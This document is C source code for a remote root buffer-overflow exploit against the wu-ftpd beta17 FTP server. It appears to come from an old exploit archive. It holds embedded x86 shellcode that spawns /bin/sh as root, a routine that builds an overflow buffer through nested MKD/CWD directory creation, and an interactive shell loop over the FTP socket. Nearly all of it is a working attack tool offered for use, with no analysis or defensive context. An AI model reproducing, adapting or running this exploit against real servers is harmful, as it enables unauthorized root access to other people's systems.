wu-ftpd beta17 remote root overflow (non-chroot).
2699909b202c1b4e9dd1267b2d69c4de8b7dd89ca34eeb5ab976aaa1142b46db
/*
* ftpwarez.c
* wu-ftpd beta17 remote root overflow (non-chroot)
*
* Copyright (c) anathema <anathema@box.co.uk>
* All rights reserved.
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <unistd.h>
#include <ctype.h>
#include <string.h>
#include <memory.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
char c0de[]=
"\x29\xc0\x29\xdb\x29\xc9\xb0\x46\xcd\x80\xeb\x2a\x5b\x89\xd9"
"\x80\xc1\x06\x39\xd9\x7c\x06\x80\x01\x20\x49\xeb\xf6\x89\x5b\x08\x29\xc0\x88"
"\x43\x07\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x29\xc0\x40\xcd"
"\x80\xe8\xd1\xff\xff\xff\xff\xff\xff\x0f\x42\x49\x4e\x0f\x53\x48";
#define FTP_PORT 21
#define LEN_I 155
#define ALIGN 3
#define RETPOS 190
#define ADDR 0xbfffe314
u_long
resolve_host(u_char *host_name)
{
struct in_addr addr;
struct hostent *host_ent;
addr.s_addr = inet_addr(host_name);
if (addr.s_addr == -1)
{
host_ent = gethostbyname(host_name);
if (!host_ent) return(-1);
memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length);
}
return(addr.s_addr);
}
void
sndres(int sock, u_char *buf, ...)
{
u_char tmp[4096];
va_list list;
memset(tmp, 0, sizeof(tmp));
va_start(list, buf);
vsnprintf(tmp, sizeof(tmp), buf, list);
write(sock, tmp, strlen(tmp));
va_end(list);
}
void
rcvres(int sock)
{
u_char tmp[4096];
memset(tmp, 0, sizeof(tmp));
recv(sock, tmp, sizeof(tmp), 0);
fprintf(stderr, "%s", tmp);
}
void
srrez(int sock, u_char *buf, ...)
{
u_char tmp[4096];
va_list list;
memset(tmp, 0, sizeof(tmp));
va_start(list, buf);
vsnprintf(tmp, sizeof(tmp), buf, list);
write(sock, tmp, strlen(tmp));
va_end(list);
rcvres(sock);
}
void
ftp_login(int sock, u_char *user, u_char *pwd, u_char *dir)
{
rcvres(sock);
srrez(sock, "USER %s\n", user);
srrez(sock, "PASS %s\n", pwd);
srrez(sock, "CWD %s\n", dir);
}
void
make_padding_dir(int sock, u_int dir_len)
{
u_char buf[4096];
int i = 0;
memset(buf, 0, sizeof(buf));
memset(buf, 0x90, RETPOS + ALIGN);
for (; i < 4; i++)
{
srrez(sock, "MKD %s\n", buf);
srrez(sock, "CWD %s\n", buf);
}
memset(buf, 0, sizeof(buf));
memset(buf, 0x90, LEN_I - dir_len);
srrez(sock, "MKD %s\n", buf);
srrez(sock, "CWD %s\n", buf);
}
void
shellz(int sock)
{
u_char buf[4096];
fd_set fds;
fprintf(stderr, "b00m\n");
for (;;)
{
FD_ZERO(&fds);
FD_SET(0, &fds);
FD_SET(sock, &fds);
select(255, &fds, NULL, NULL, NULL);
memset(buf, 0, sizeof(buf));
if (FD_ISSET(sock, &fds))
{
read(sock, buf, sizeof(buf));
fprintf(stderr, "%s", buf);
}
if (FD_ISSET(0, &fds))
{
read(0, buf, sizeof(buf));
write(sock, buf, strlen(buf));
}
}
/* NOTREACHED */
}
void
exploit(int sock)
{
u_long addr = ADDR;
u_char buf[4096];
int i = 0, j = 0;
memset(buf, 0x90, sizeof(buf));
for (i = RETPOS - strlen(c0de); i < RETPOS; j++, i++)
{
buf[i] = c0de[j];
}
for (; i < RETPOS+24; i += 5)
{
buf[i+0] = (addr & 0x000000ff);
buf[i+1] = (addr & 0x0000ff00) >> 8;
buf[i+2] = (addr & 0x00ff0000) >> 16;
buf[i+3] = (addr & 0x00ff0000) >> 16;
buf[i+4] = (addr & 0xff000000) >> 24;
}
buf[i] = 0;
srrez(sock, "MKD %s\n", buf);
srrez(sock, "DELE %s\n", buf);
shellz(sock);
/* NOTREACHED */
}
void
usage(u_char *nomenclature)
{
fprintf(stderr,
"No.\nusage:\t%s [ -h dst_host|ip ] [ -u user ] [ -p password ]\n"
"\t\t[ -d dir ] [ -l len ]\n", nomenclature);
}
int
main(int argc, char **argv)
{
struct in_addr addr;
struct sockaddr_in sin;
u_long dst_ip;
u_char host_name[255], user_name[255],
password[255], init_dir[255];
char opt;
u_int dir_len;
int sock;
if (argc < 6)
{
usage(argv[0]);
exit(-1);
}
while ((opt = getopt(argc, argv, "h:u:p:d:l:")) != EOF)
{
switch(opt)
{
case 'h':
strncpy(host_name, optarg, sizeof(host_name));
break;
case 'u':
strncpy(user_name, optarg, sizeof(user_name));
break;
case 'p':
strncpy(password, optarg, sizeof(password));
break;
case 'd':
strncpy(init_dir, optarg, sizeof(init_dir));
break;
case 'l':
dir_len = (u_int)atoi(optarg);
break;
default:
usage(argv[0]);
exit(-1);
/* NOTREACHED */
}
}
if (!host_name || !user_name || !password ||
!init_dir || dir_len == 0)
{
fprintf(stderr, "Invalid arguments.\n");
exit(-1);
}
dst_ip = resolve_host(host_name);
if (dst_ip == -1)
{
fprintf(stderr, "What kind of IP address is this: `%s`?\n", host_name);
exit(-1);
}
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock == -1)
{
perror("socket allocation");
exit(-1);
}
sin.sin_family = AF_INET;
sin.sin_port = htons(FTP_PORT);
sin.sin_addr.s_addr = dst_ip;
if (connect(sock, (struct sockaddr *)&sin,
sizeof(struct sockaddr_in)) == -1)
{
perror("connect");
close(sock);
exit(-1);
}
addr.s_addr = dst_ip;
fprintf(stderr, "\nThe eyes of stanley pain:\n"
"To: %15s.%2d\n\n", inet_ntoa(addr), FTP_PORT);
ftp_login(sock, user_name, password, init_dir);
make_padding_dir(sock, dir_len);
exploit(sock);
/* NOTREACHED */
}
/* www.hack.co.za */
/* EOF */